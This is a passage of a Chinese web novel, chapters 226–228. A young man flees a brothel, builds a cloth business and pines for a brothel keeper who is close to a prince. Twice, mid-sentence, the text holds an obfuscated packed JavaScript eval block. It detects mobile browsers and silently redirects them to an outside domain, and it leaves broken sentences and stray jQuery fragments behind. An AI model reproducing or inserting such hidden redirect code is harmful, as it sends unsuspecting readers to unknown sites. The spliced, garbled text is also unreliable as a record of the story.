鸨母发现他是男的,同样大怒,却没有扇他巴掌,而是甩鞭子,叫他换上女人的衣服。 他被推到台前,被一个老爷搂去,去了厢房。 老爷摸他的腿,往上摸。他一脚踢翻男人往外跑,被鸨母的人捉了回去。 鸨母按着他的脖子,让他低头,让他依了老爷。 老爷冷漠地看着他。 他不是女子,他拉尿的东西不一样。这是母亲反复告诉过他的。不管别人怎么摸他的脸和身体,他可以脱下裤子展示给别人看,他拉尿的东西就是和女子不一样。 他脱了。 当着那个想摸他腿的男人的面。 男人冷冷一笑,并不介意。 他扒着裤子,夺来桌案上的一壶水往鸨母脸上泼去。鸨母大叫一声,五颜六色的脸往下滑。周围各种女子围过来,他仗着力气全部推开,不顾一切往外逃。 男!! 他是男人! 他想吼出来给全世间的人听见,看透他的外表,听见他的真实性别,为什么这群人都那么愚蠢!他们甚至连性别都无法分辨! 这些人全都不如她。 只有她知道。 递来城墙根下的那壶水,她说,哥哥,你要好好活下去。 226. 童扇(三) 他要改名字! 户籍上的“林儿”是这世间最恶心的两个字。 他跑去官府,像个爷们一样地把户籍拍在桌上,粗着声音说改名字。 官府的老爷说改名字需要钱。 他一下子被打了回来。 身无分文的他看着街头,只觉得这世间没有一处地方容得下他的性别。 他要找到她。他要赚钱。他要学字。他要做个男人。他要以一个完全的男人的身份站在她面前。 定下未来要走的路,当务之急是存活下来,谋求生路。她或许也是被人贩子拐了,卖来京城,很有可能也是被卖去青楼。赚到保身钱之前,先尝试在京城找她。 还有,之前救过她的那个将军,知道她失踪了会不会也在找她,如果会的话那他就能寻求将军的帮助。 总之一定能找到她。 他要以后能够和她站在一块。 他的身躯已经有了力气。他走遍四处,找到一份木匠的活。 京城内有很多战后房屋需要重建,需要很多木匠每日去城外砍树,将一棵树木劈成小块,再运到城内。也是个苦力活,但是有工钱,而且管两顿饭,而且工钱是按砍下了多少棵树算的,一棵树是两文钱。 这样太好了!钱能攒下来! 他拼了命地砍树。 起初一天只能砍一棵,砍了将近半年后,他一天能砍五棵。 战后初期大范围招用的木匠在半年后撤去了一大半,因为木头够用了,但是他留了下来。他能砍,他砍得厉害。 直到木匠彻底不再招用,他随官府调动去军营的武备库打铁。 他有了月俸,不再按每日的工量算工钱,仍然包两顿饭,而且饭量多了,但是打铁的地方不在城内。也不在军营,而是在城外一个独僻出来的炼铁房中。这里全是男人。他在全是男人的群体中,他肯定会变得和别的男人一样,充满男人的气息。 唯一的问题是无法寻找她,她如果在京城也会是在城内。 他只知道攒钱,他要买书学字。一个月休沐两天,他会在这两天进城,找野夫子听讲。野夫子的束脩很少,听一讲只要五钱,一讲能教十个字。不附纸,听讲前,他需要要为这十个字带上十片叶子。附纸的话,就要十钱一讲了。 他学了好多个字,树叶也慢慢有了一堆。 又一年过去,回头一看,他从十三岁活到了十七岁,多么伟大的成就,多么自豪的功果。 他给自己定了名字,叫童忆。 想来想去,他保留了父亲的姓氏,叫林童忆。 他揣着钱,郑重地去往官府。斯文地将户籍拍在桌案上,像个文人一样地和官府老爷说要改名字。 官老爷说,姓氏不能改。原本他也没想改。 好了,他正式叫林童忆。 林儿是过去了。 林童忆挺直了腰杆,他对自己说,林童忆这个男人正在走在街上。看,街上这个叫林童忆的人,是个男人。 他继续打铁。 野夫子能交给他的字教完了,他想买书来自己看。可是书太贵了。他改为专注于寻找她。他想去各个青楼里面找,看会不会遇见她。 青楼是个很特殊的地方。这里的男女对半开。你中有我,我中有你,同时又各自职责分明,丝毫不会越界。 却有一种别样的恶心,像是京城出现了绿鸦膏——那些男子在女子身上骑乘而露出的笑容,让他觉得很像父亲从前抽绿鸦膏后沉浸的模样。好恶心。 两天休沐,各去两家青楼。 去了两月,没有遇见她。他往更大的青楼找。 一家叫温柔馆的地方,他见到一身红色衣裳的女人。 女人拦住他的路,问他爱不爱花钱,爱花钱就跟她走。 林童忆摇头。女人不理他了。 他问有没有叫金嘘的人。她点头,说就是自己,她叫丽姬。 林童忆摇头,不是,她不叫丽姬。 女人冷冰冰看着他,翻了个白眼走了。 他往温柔的馆子里去。时隔两年多,终于在异常浓烈的彩灯下遇见了她。 她挽着一个男人,说好久不见的客套话,笑嘻嘻与他擦身而过。 身旁肥胖的男人油油地喊她轻轻小絮儿,抱着她,手掌上上下下。 她不叫轻絮,叫金絮才对。 她竟已成了鸨母。 近两年的时日又经历了什么。他这两年是在蹉跎吗? 她那年果然也是被人贩子拐了。 一步,又一步,他停下,调转方向。离开温柔馆,去成衣铺子换了身行头,再继续走剩下三步、四步、五步。 她身边好多男人,换了身衣服的他也不能在围绕她的这群男人中脱颖而出。 天亮就要做工去了,今天必须和她认识,和她说上话。他是全新的,他在青楼,他的人是一个分毫不越界的男人。 她忙于游走各个男人之间,这也哄那也笑,分不出一个眼神给她没见过的男客。 他在她身后跟了半夜,她忽然回过头,笑着说公子好面生。 他点头,说是第一次来。 她说可要好好给他介绍一番了,温柔馆不是一般青楼。 她果然认真介绍了,里里外外将温柔馆全部介绍了一遍,唯独不介绍她自己。 他说,不要把他当一个客人。 她笑着说,温柔馆的男人只有客人哦~ 他不要客人,他要被当个男人。 然而。 硬气的腰板在一杯酒就花掉他这两年小半部分积蓄后软了下来。他说以后会常来看她,这壶酒能不能便宜点。 丽姬说不行,常来了再能便宜,不能先便宜了再常来。 他把酒钱给了,气息随着钱袋子瘪下去。他不知道什么时候能在她面前像个男人一样地立着。 她的身边都是很有底气的。她身边的人都会被她感染,感染得很有底气。像是叫丽姬的人,十分有气势地替她说话,其他青楼都见不到这样的人。这样的人只能在她身边看到。 她是少见的,她的身边都是少见的。 他也想和她站一块。 他知道,这叫比肩。 他要和她比肩。也感染感染他。 每到休沐就来温柔馆成为男人,一大早就来。他在温柔馆门前站到开始营业。 但他进去了不能坐,不能有人陪同,不能喝酒,这也不能碰,那也不能碰。他只能站着。但他荣升为熟客,荣升为一进来也能得她一声问好的人。 温柔馆有无偿的书籍可看,他就捧着书站在角落里看书。 看到了应和王。 看到了她一天能和应和王说一辈子的话。 看到应和王的目光完全追随着她。 原来他们之间交情不浅。 她是丞相的女儿,她是一人之下万人之上的人的女儿,应和王是诸侯王,应和王是将军,是手握军功的将军,多么般配。难道还有人更配她吗?应和王不配她,难道他林童忆就配了吗。 林童忆看着他们几乎贴在一起的肩膀走过留下的背影。难道那两个肩膀之间还能再多加个什么东西吗? 他每日打的铁就是送去了应和王的军营。说不定他打过的铁曾被应和王抓在手里过。 他很想化小,化去他们中间,听听看他们说了些什么。 此后,林童忆修改了每日一愿。 明天,能不能光明正大地站在她面前。像应和王那样。 他一连几次都见到了应和王。 终于在他一次休沐时见不到应和王了。应和王出征去了。 林童忆笑了一整天。 这里一天里,她多余的时候也没有分给他。他继续站成角落里上不了桌的书架子。 他要钱。他要赚钱。要赚大钱。他要支付得起温柔馆的花销。 他辞了铁匠的工。他要在城里找工做。 工很好找了。他空了一段时日不去温柔馆,干遍各种零工,跑堂、小二、货郎、车夫,一天干两份工,他的积蓄攒得很快。 在打听到她所在的来福街空出一间铺子招租,他立马掏大半积蓄租下了。 林氏布行就此成立 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839961|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他要和她一样成为商人,这是应和王比不过他的。 他还要看书,还要懂得学识,像个士大夫一样。他可以。 夜里睡觉时也不闲着。他买了两本书,一本放在枕头下,一本睡觉时放在脸上,脑袋被书夹着。所谓诗书的熏陶即是如此。 他先从别的铺子买来现成的衣裳卖,得空捡回母亲曾教过他缝假书的技艺。将假书的纹样和绣法绘制到买来的衣裳上去,简单加工一番,加点他的东西卖出去。 假书是用布做纸,绣针做笔。字形的每一笔都相连,弯折改为曲环,最后成型是个相当具有花样美感的纹饰。这种方法既可以教书,又可以避掉笔墨纸税。 只是他从来绣得不好,这几年干的又都是力气活,细致活计越发干不来。他只能一边练,一边请绣娘。 事先勘察过了,假书绣法在京城几乎没有,独特的样式或许可以吸引京城的贵主,希望赚点大钱。制成先穿在自己身上,上街招摇。 他想和她一块做生意,他想她分几点注意力到他身上。 新衣果然有人买,但是男的。他着重在服饰上做出男女制法的区别,但只有他自己穿出的效果,没有女子的。 他于是带着一件样衣去找她。趁着应和王又不在了,他提出如果温馆主对林布衣饰还看得过去的话,往后温柔馆的部分衣饰可以由林氏包揽。 她说,做了青楼的生意,以后再想将衣裳往外兜售可就难了。 他点头说不要紧,毫不犹豫。 林布往后就是做青楼行当生意的了,不做那些贵主的生意。林布是温柔馆的布行,是她的布行。 合作达成。 绣着假字花样的衣裳穿在丽姬身上相当合适,弯弯绕绕的字迹像条蛇一样地缠绕丽姬,偶然多出的一笔像蛇信子,咝咝吐着,勾魂引魄。 丽姬打响了林布的名气。更多的青楼意图得到林布的青眼。林童忆来者不拒,他想多赚点钱。 的确接不到青楼行当以外的单子。这不要紧,林童忆借为丽姬量身制作衣裳为由,偷偷也为她做了几身。 托衣裳的福,在应和王消失的一段时日里,他得到她更多投注而来的目光。 她穿着他做的衣裳。 他做的衣裳在她身上穿着。 托衣裳的福。 名气越来越大,赚得多了,他执着于自己身上的好衣裳。 贵贵贵,身上就得贵。往身上了才能贵。 他的衣裳也是自己做,内里做得和她一样,外面要暗戳戳地相似,这样也算他们穿着同一件衣裳。 林童忆心里窃喜。 丽姬很喜欢他做的衣裳。温柔馆其他女子也挺多人喜欢。他忽然被热闹了起来。 人气高。他觉得这样非常好。被她的环境接纳得非常好。 而且他能花钱了,有钱花了。一个晚上喝一杯酒喝得起了。 连带着她对他的话也多了起来,经常问他生意怎样,最近过得怎样,布市行情好不好,有没有青楼行当之外的商人找上他云云。林童忆都说好,然后反问她。她也都说好。 真的是,说话方式都跟她一样。 微妙和谐持续到应和王出征回来。这叫凯旋。 凯旋的风头压过一切。 他又站去了角落,坐去了角落。默默看着应和王明目张胆地把视线往她身上放,在她面前一点也不需要顾忌是否会被她当成和这里别的男人一般的人。 他没法像应和王这样毫不顾忌。他要的很多,他要像个男人一样,他需要像个男人一样才能是个男人样。 应和王却轻轻松松。 他琢琢磨磨,应和王轻轻松松。 可是应和王被改了名字,改叫安分王。安分王是什么意思?为什么改名字? 他也改了名字,他又不是诸侯王。 名字大概并没有背后的含义,想改就改。不像他还需要靠名字来证明什么。 这真是太累了,什么东西都要被拿来证明。安分王却可以不用顾虑这些。在她身边、能被她宽容的人就是这样没有烦恼的么? 227. 童扇(四) 鲜血、战马、砍刀、伤痕、风沙、呐喊、血汗、泥垢,这都是男人性的标志。 而他没有。 他没有,安分王有。 青楼是个使男女泾渭分明的地方,而安分王不需要在这种地方就能和女子比起来显得泾渭分明。 他在注意安分王。 注意安分王的每一片衣角,每一个纹路,每一根手指,每一片指甲,每一根汗毛,每一个步伐,每一个抬手。 注意那握刀的手指。那握刀的手指牵着她,她的手指和那握刀的手指交缠、环绕。她有时大笑,她完全不需要在青楼这样的地方也能表现出十分鲜明的女子身份。 她是女的。他是男的。只有他是不男不女的。 安分王的风光是一座大山。 他只是她随手救下的小乞丐。她肯定救过很多个小乞丐,他只是其中微不足道的一个,或许是最微不足道的一个。 是一座他无法逾越的大山。 整个温柔馆并不是只有他一个在盯着安分王。因此他的盯视是坦然的,是光明正大的,是融入人群的。 安分王是几乎所有视线的汇集处。虽然他不知道为什么温柔馆的男人总是时不时瞟安分王一眼,但就是瞟了。温柔馆这些男的,不光看女人,还看典型男人的男人。 原来他和温柔馆里的男人一模一样。 林童忆觉得这样不行。他决定不再看着安分王了。随安分王去干什么,安分王可从来没看过温柔馆里随便一个男人一眼。 可即便不看,也很明显能感觉到她对安分王的态度不一样。 为什么。因为安分王救过她吗? 他也救过。安分王能成功从火场里救出她也有一点他的功劳。那如果,他也去她面前认下她的救命恩人,她会不会也用不一样的态度对待他? 这事能说吗?——私底下说。——皇帝不喜欢她的父亲,也会不喜欢她的身份。——私底下说。——她的身份不能暴露的,不小心暴露了会怎样?——私底下说。——说了她会信吗?说了安分王会怎样?——私底下单独说。——不会被灭口吧?——私底下单独说—— 他很想学习,他盯着安分王并不仅仅是盯着,而是想成为安分王那样的人。 他学习安分王的走姿,学习安分王的表情,学习安分王的说话,学习安分王的口音,学习安分王对其他人的态度。最终他学了个皮毛。 安分王和她背后的朝堂是他用几辈子都触及不到的地方,但他很想去了解,想知道她的家人为什么会被杀,想知道安分王为什么会被改名字,想知道皇帝是怎么成为皇帝的,想知道家乡的绿鸦膏种植田为什么全部被毁了。 林童忆短暂地离开温柔馆,一边做着衣服,一边捧着纸笔跑遍各个书肆,听各个说书人翻来覆去地讲最近几年动荡不安的中原和边境,讲各方势力如何对峙平衡,讲朝堂上那些人之间有什么各自的权衡取舍。 他终于知道家乡的绿鸦膏被毁并不是存在什么阴谋,而是绿鸦膏对人体的作用弊大于利;知道安分王被改名字的原因,知道皇帝为什么不喜欢她的父亲;唯独皇帝造反的起始众说纷纭,什么猜测都有,他无法从各种各样的议论中推出正确的一种可能。 安分王和她父亲一样,不被皇帝喜欢。皇帝能够轻易决定杀死她的家人,却无法轻易决定杀死安分王。于是皇帝用给安分王改名字的方式压住安分王。 原来如此。 安分王并没有那么风光。 堂堂王爷也颇受制于人,甚至有不少说书人说安分王在朝堂其实没什么话语权,哪怕手握剿匪的军功。剿匪并不需要十分深厚的资质。 呵呵呵,山塌了。 呵呵呵。 林童忆回到温柔馆,安分王又出征了,这次是抗匈。 安分王离开,她身边的男人也没有减少。林童忆开始思索别的。 她在想什么。安分王为什么总是和她聊得来,在和她聊什么? 她会不会想要刨根问底,想要质问皇帝为什么不喜欢她的父亲,想问改朝换代为什么发生在她身上,为什么她家承受不住皇帝的处罚的结果是家破人亡,她每天在想些什么。 就像他讨厌绿鸦膏,但还是很在乎为什么要将一个小县城赖以生存的东西拔除,小县城能赚来的钱都是靠绿鸦膏赚来的。绿鸦膏危害大,但是绿鸦膏没了,这个小县城也就活不了人了。在清除绿鸦膏之前,为什么不给这个小县城一点能活下去的倚仗? 想来想去,每日能和她说的话还是,今天喝点什么? 唯一说得多几句的,还是在女子们往他脸上化了妆后得到她几句点评。 话还没开口,安分王又回来了。 回来的消息先传进京城。打个仗那么快的吗? 得胜归来,归来的这一天十分风光。这次汇聚在安分王身上的不仅是温柔馆的目光,而是一整条街的注视。 最耀眼的阳光照亮安分王的铠甲,光芒几乎覆盖整座京城。人们喝彩欢呼,喜庆地迎接大山重新伫立,重新巍峨庞大。大山下的浓重阴影同样几乎覆盖整座京城。 为了迎接凯旋的大将军,温柔馆闭馆一天。林童忆站在高楼上,不知道她去了哪里。她会不会去了某个只有她和安分王知道的地方。不知道,他只知道自己用着一种完全羡慕的眼神看安分王。 羡慕,太羡慕了。他只是羡慕。羡慕而已。 她身边再次多了安分王这个走来走去的人。她身边的人似乎总保持在一个固定的数量,安分王出现了,他就要离开了。多出一个人,马上就要减少一个人。林布的生意忙起来,他很少得空可以在晚上的时候去温柔馆。 让他意外的是,在他少去温柔馆后她居然送来了问候礼。和他说,让他多注意休息,学会忙里偷闲,照顾好身体。 或许这就是丽姬说的常来了再能便宜的意思。成为常客才能占得便宜。 至少他还愿意在温柔馆花钱。 多多少少是些底气。林布赚的钱足够他偶尔在温柔馆中喝一杯酒。他也就有了这么点底气。 喝到了这年中秋节。林布的单子早在节前就全部完成,林童忆早早为这天攒钱,攒够了在这一夜喝好几壶酒的钱。他心安理得地在还未到傍晚的时候就占据了温柔馆中视野最好的一张席位。 坐下,调整坐姿,挺直腰板,抬头挺胸,直视前方。他此刻坐在这个位置上实在太适合不过了。这一刻还能有比他更合适的人吗? 有吗? 一个肥胖的随从叫他让位。 一颗鸡蛋大小的金子扔下来,砸在他的桌上,乒乓一声。 他牢牢坐着,不让。 随从说,这是青天大老爷,不让的话没有好果子吃。 他目不斜视,不让。 随从拿出令牌,说再不让的话老爷轻而易举就可以毁掉他的产业。老爷对来福街的动静掌握得一清二楚。老爷上头有人。 林童忆起身让开了。 动静闹大,她匆匆赶来,当先安抚肥胖的老爷,赔笑着扶老爷坐下,然后拿起金子走过来放到他手里,说另外给他安排个地方坐。 那肥胖老爷年级大,爱显摆,不喜欢坐厢房,就爱坐在厅堂这种能够掌控全局的地方。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839962|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她说无偿为他开个厢房以作弥补。林童忆认为这是一种底气,点头说好。 他第一次住进温柔馆的厢房。 很舒适,弥漫着一股味道,不吵,只有他一个人。还有酒壶。 他打开门,坐在外面。他从三楼往下看,看见她忙碌地游走于各个男人之间,在每个男人的位子上都不多做停留,蜻蜓点水一般。 安分王始终没有出现。 他起初疑惑,喝完一壶酒才想明白。这样的日子,安分王当然是在皇宫里过。 这样的日子,安分王陪不了她。 夜深了,他的厢房还是一个人,孤孤寂寂。 许多人喝醉,许多人倒地,这个时候,安分王进来了。 王爷坐到一个空出来的位子上喝酒,不停地喝酒,眼神在找她。 她这只蜻蜓却被人抓住了。她被困在一个男人的位子上猜拳助兴,她被一股股油腻包裹着,无法脱身。 但是她的眼睛总往安分王那处瞟,林童忆在楼上看得清楚,她显然十分在意安分王。 林童忆不停地看着,看了半个时辰。安分王忽然起身,走上楼,走去王爷的专属厢房。 过不了多久,她终于挣脱出油腻的包围圈,追着安分王上楼去。 旁观他们这样一前一后,林童忆憧憬着自己什么时候也能被她这样注视着。他也追上去。 却不敢靠近,他远远地看见安分王那间厢房敞开大门,他绕去正对面,直视进去。那房里很黑,一盏灯都没有,隔着遥远的距离,他依稀看见堂堂大将军坐在地上缩在她怀里哭。 大概是很伤心的事情,隐约能听见哭声。其实并没有听见。不知道是不是哭声被她很好地安抚了。 大男人才不会哭。 他就不会哭。他从记事起就没哭过。他有过什么。他有过什么是值得为之痛哭的? 中秋佳节,多吃点胡饼不好吗? 林童忆回房狂吃胡饼。 第二天一早,安分王不见了。林布接到新单子。 忙于制衣的间隙,脑海中挥之不去的是昨晚安分王在她怀里痛哭的场面。难以明说的情绪悄然荡开,他忽然发现,自己对安分王更多的或许不只是羡慕。 她真是十分在意安分王的。 从进门起就发现安分王不对劲,明明从前也未对安分王在温柔馆的一举一动存在过多的留意,但就在昨晚,安分王一进门她就能发现异常。 她的心思很细,这种细致的独特是只对于安分王的。她对别的男人是粗,蜻蜓点水的粗。 安分王名声崩坏的传言迅速蹿过大街。他在流言中得知安分王失去了母亲,并在母亲去世当晚寻欢作乐。 原来痛哭是为了亲人。 可是昨晚的场面,大概并不乐的。 林童忆回忆自己上一回为亲人痛哭,大约是母亲弃他而去的时候。但那时到底哭得怎样他已记不太清了。 安分王消失了几天,处理后事。之后安分王住在了温柔馆。 这可不妙。 他们相处的时候多了。多了很多。 安分王简直不知道像个什么东西一样地跟在她身后,黏在她身后,而她没有一点不耐烦。 他简直想像驱赶苍蝇一样地为她驱赶这些不要脸的蚊子。 他嫉妒。嫉妒又如何。他就是嫉妒。 大山不会哭,哭了的不是大山,而是土丘。大山不会被区区泪水浸湿,小土包才会。能被掌心握住的细细的沙子才会。 他至少有一项强过安分王。 不,是十分地强过安分王。 228. 童扇(五) 这有什么不妙。 他们不是般配吗? 他们般配,他就不般配吗?他又没有和她站在一起过,如果站过去了,谁知道不般配。以前配不上,现在还不行吗? 这一步无论如何迈不出去。 安分王像个鬼影子一样跟在她身边,一根针都插不进去。 他一定要迈出这一步。他甚至没有以林童忆这个名字和身份跟安分王说过一句话。 安分王仿佛整日无所事事,却有各种各样的人前来送礼。送礼的人往往很难见到安分王一面。 他不在温柔馆的时候,她和安分王在做些什么。他问和她关系好的女子们,回答说都是日常相处的事情。 谈天、玩闹、做事、看书、上街、为温柔馆购置物资,安分王出钱出力,甚至帮助调节发生矛盾的姑娘们的关系,俨然成为了温柔馆的一份子。 林童忆想了想,这些事情大多都可以和她一起做,有的不行。 他找到更好的夫子,学更多的字,学着看文章、诗赋,想读更多的书,想从文字之间获取勇气。 他还没有在纸张中找到出路,安分王忽然宣布放弃兵权。 林童忆相当愕然,困惑不解。 想来想去想不明白,他直接去找她,问安分王为什么放弃兵权。 她说,因为心慈手软,因为不合适,因为不交出去迟早被人抢走。权衡之后才决定不要了。 她难得和他说这么多话,却是因为另一个男人。话头还是他挑起的。 放弃了兵权的人就不是大将军了。 林童忆眼睁睁看着安分王彻底成了温柔馆的一份子,四楼那间厢房彻底成了另一座王府,安分王彻底把温柔馆当成了家。 无力感深深涌起,他求而不得的东西,别人弃如敝履。为什么安分王可以说不要就不要。谁能这么坦荡并且痛快? 他雇了一个小工帮他打理林布,自己每日去温柔馆喝一杯最便宜的清酒。他付不起在温柔馆中定下一间厢房的钱。他要更加仔细地观察她,他要了解她每一个举动背后的原因。他要超越安分王。 她爱吃什么,平常喜欢干什么,对打理温柔馆有什么技巧,对温柔馆的未来有什么规划。这些他有经验,他有打理林布的经验,他能和她聊得来,这些想必安分王聊不来。 安分王不在的时候,微小的一步迈出去,她果然和他说得多了。 哪怕偶尔在温柔馆之外的地方遇见她,她也会主动打招呼,和他寒暄几句。 这是好的开始。以前的他胆子太小了。 她问他有什么书好看,说温柔馆的书架子小了点,她想换大的,摆上更多的书。 他立刻吧啦吧啦说了一串书名。见她听着连连点头,充盈的自豪溢满他的心里。 新书架送来的这天,她起早布置,众多女子帮她的忙,林童忆找不到可以插手的地方。 新书架大大地立好,她们兴致冲冲地往书架上随心所欲地摆书。她在旁边看着,他站在她的旁边,并肩站着。 这个画面实在太好。林童忆心里乐得不行。 书架前留下一个小姑娘尝试垫脚取书。小姑娘个子矮,跳起来才扯下一本。书架忽然摇摇欲坠,小姑娘取了书走开,庞大的书架前扑往下砸—— 林童忆吓了一跳,还没反应过来,她已经冲了过去。 书本哗啦啦掉了一地。她以身挡住往下砸的书架,小姑娘抱头缩在她的庇护之下。 如雨落下的书籍中,他分明看见她眼中掉了两滴眼泪。 为什么哭。 第一次直面她的眼泪,林童忆不知所措。赶来的安分王帮她扶正书架,她蹲下安抚小姑娘。小姑娘抽抽嗒嗒,要哭不哭。安分王拍拍她被书架砸到的肩背,问她疼不疼。 画面和谐得颠覆他的认知。林童忆转身离开。 走远前,他回头看了一眼,安分王正在为她擦脸,或许她掉的不止是两滴眼泪。 书籍、经营、买卖、生意,和她说这些有的没的,却连她为什么掉那两滴眼泪都不知道。 安分王却知道,显而易见地知道。 他又退去林布,不再日日都来温柔馆。他该打退堂鼓。 随着他的退出,这个新年,温柔馆来了个新姑娘。她给起名叫雪姬。 雪姬和丽姬似乎相处得不好,让她很苦恼,为此大病一场。 这是他从温柔馆的女子们口中听来的,他想看看她,但是没去看,她肯定被安分王照顾得很好,用不着他。 雪姬为了避免冲突,白日里总是出门,去街上游荡。他偶尔在外时巧遇雪姬。 雪姬常常心事重重,有自己的天地的样子。他应当向雪姬学习,也该有他自己的天地。 林布的生意逐渐稳定下来,他开始着手为往后发展做打算。他想问问她对温柔馆的规划,却找不到机会。 机会始于一个死人。 四大青楼的初香坊死了人。流言蜚语波及到整个青楼行当。温柔馆内同样人心惶惶。 她做出缩减,有些愁眉苦脸。这个时候安分王却忙了起来。 林童忆开始频繁走动,给她出出主意。他问以后打算怎样,她说兵来将挡水来土掩,实在干不下去那就不干了。 干不下去了她会干什么?她却不说了。 朝廷很快下颁圣旨,一条条列明对青楼行当的整体限制。林童忆看见公告,深深为她感到前路不明。 没过几天,他就在街上看见温柔馆门前被官兵围了起来,接着看见她被官兵押着带走,而她身后是追随她而出的安分王。 他向周围人打听,得知那是廷尉的兵。温柔馆因牵涉初香坊的案子,鸨母被捉走调查。 馆里其余姑娘已经逃出,逃去哪里他却不知道。她被抓走后,温柔馆很快就封起来,任何人不得出入。 他找到廷尉牢狱的地方,这是他无论如何都帮不到她的地界。他在廷尉没有一个认识的人。能帮到她的只有安分王。 有人找上他,要他去一家客栈碰头。他去了,见到被人看守在客栈的丽姬和姑娘们。 看守她们的是安分王的人,大概是为了保护她们的安全。丽姬拜托他去看看阿絮,她被捉走让丽姬很不放心。 林童忆答应下来。然而他却不知道该怎样做。他连廷尉的门都进不去。 他四处奔走,找林布的主顾。和林布有生意合作的都是青楼的老板们,这个时候都不愿意帮忙。他转而找以前做零工时认识的人,也帮不上忙。 跑了几天,他只能和丽姬说投路无门。指望安分王吧。 他不敢去王府,怯于王府外表的门禁森森。他整日守在温柔馆的大门外,等待解封的一天。 等到隔月,等到一辆马车驶来,车上走下来她。 他急忙喊着跑过去。她见到他也十分欣喜。 送她去找姑娘们,路上她说这件事的起因,说雪姬的仇恨,说雪姬已经死了。 他万万没想到,他试图向之学习的雪姬背后竟有这么大的目的。 车厢沉默时,她突然唤了他一声。 他反应不过来,她往常都是叫他林公子,连名带姓地唤他竟令他有一瞬分神。 她问,复仇是不是一件需要被阻拦的事。放任雪姬复仇,是不是一件错误的事情。 林童忆看着她背靠阳光的样子,出神间,大脑混沌之间,她那似乎看过来又下意识避开的眼神,忽然意识到她在试图跟他吐露些什么。 他没想明白,下意识顺着她的话说。 这当然是没有错的。 雪姬又不是小孩了,做出决定之前都是经过深思熟虑的。 她不再说话,看着窗外的阳光。 林童忆想从她的表情读懂他有没有说对,他却看不出来。 这个场景下,安分王能明白她的意思吗? 车停了,她下车,和他说再见。 他回以再见。 之后便找不到她了。 温柔馆解封被卖出去,客栈的姑娘们全数不知转移去了哪里。 他打听到温柔馆被卖了五枚铜板。他很想找到她,想帮助她,可是无论怎样都找不到她。 其实他也帮不上什么忙。可他很希望能陪在她身边。 其实她身边也不缺人陪。 冷静下来。他仔细回忆最后一次见金絮,她所问话的意思。 她想要复仇吗?为自己,为自己的家族。仅仅因为不得皇帝喜欢,于是一家人都被杀了,她心里没有一点愤恨? 有。 而且安分王知道她有。能帮到她的人是安分王,所以安分王懂她。所以安分王和她聊得来。 他之前是不是一直忽略了许多真正至关重要的东西。她想报仇。受到这样的欺负她不可能一点愤怒都没有。 他忽视太多了。 她应该去了太南。像那年她从王府逃出去那样,她只会去家乡,去她熟悉的地方。 他必须抓住她内心的诉求,才能和安分王站在同一个势均力敌的位置。 在自责与反思中迎来冬季,暴雪突然而至。 这一年的雪下得很大。 计划出发上路时,城门因暴雪而封锁。冬天结束前,他出不去了。 今年官府发出布坊告示,召集各大布坊为城墙内外的乞丐送去冬衣。衣服不讲究形制、厚度,只要愿意送,每送十个乞丐就能拿到二十钱。 十个乞丐十件衣服,十件衣服二十个钱,这样算一件衣服太过便宜。官府此举是打算既能安抚流民乞丐,又能消耗各大布坊卖不出去的旧衣和破衣。 林布堆积的旧衣非常多,他将全部衣裳清理出来,先送去一批,顺利拿到钱币。这样可帮她做的就更多了。 送第二批时,接收衣裳的却不是官府的人了,而是换成了某个世家的人。 林童忆奇怪,但还是把衣服交过去,拿回来的钱却少了一大半。说是乞丐每人 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他没做过棚布,但棚布中间一层夹层的布料是他可以做的。他顶风冒雪,看了几个城门,已经有不少粥棚建起来了,他晚了。 之前都把眼光放在青楼行当,外面的行情他太少留意。他转而拜访各大布坊,看看有没有缺少棚布材料的。 看了一圈,没有缺的。却意外遇见薛柴。 薛老板是从前温柔馆的常客,生意范围很广,手握几家大布坊。林童忆问薛老板还缺不缺棚布材料,他来晚了。 薛老板说没有,这次粥棚需要的全部棚布材料和灶台砖头都被薛家包揽了。 林童忆只好回去,歇了这个心思。结果第二天,泰安侯府的一个丫鬟找到林布,说是上回侯府管事在布坊和林老板一面之缘,想看看有没有生意能合作的。 他连连说有,将林布的布料与花样如数家珍。丫鬟得体而微笑,看过他的所有样版后就告辞回去了。回去之后,林童忆一连等了几天都没见下文。 直到冬季结束,城门解封,他想着泰安侯府大抵是没看上他家的布料,便准备收拾东西去太南找她。 他以林布的名义办路引,被官府卡住了,办不下来。 他心头隐隐有火,改而用自己的名义办。他感觉林布被针对了。 路引还没办下来,林布的春季布料却外销受阻,完全卖不出去。原因他随便一查便知道了,专门为林布设计的假字花样被别家布行盗去,简单修改一番后便绣到衣裳上售卖,说是自己家的东西。 薛柴发现他知道了,直言说要买下林布,让林童忆出个价。否则林布将永远打不开销路。 林童忆问为什么,这人跟他说,一个卖布的不应该以姓氏为店铺命名,尤其是为青楼行当供布的,算什么东西。 心头火起,但他忍住了,因为还得把路引办下来。 销路完全被堵,布行已经开不下去。 是冬季时那个来林布的泰安侯府丫鬟,看见了林布纹样,喜欢却不想从一个为青楼行当供货的铺子里买,便让薛柴偷去花样。仿佛这花样经过薛柴一番清洗便洗脱了风尘气,泰安侯府于是心安理得地买下。 薛家早想拿到泰安侯府的春衣单子。 薛柴说林布有什么资格和薛家抢东西。他还没开口说价,薛柴直接扔了一袋钱币砸他胸口,林布就此不属于他了。 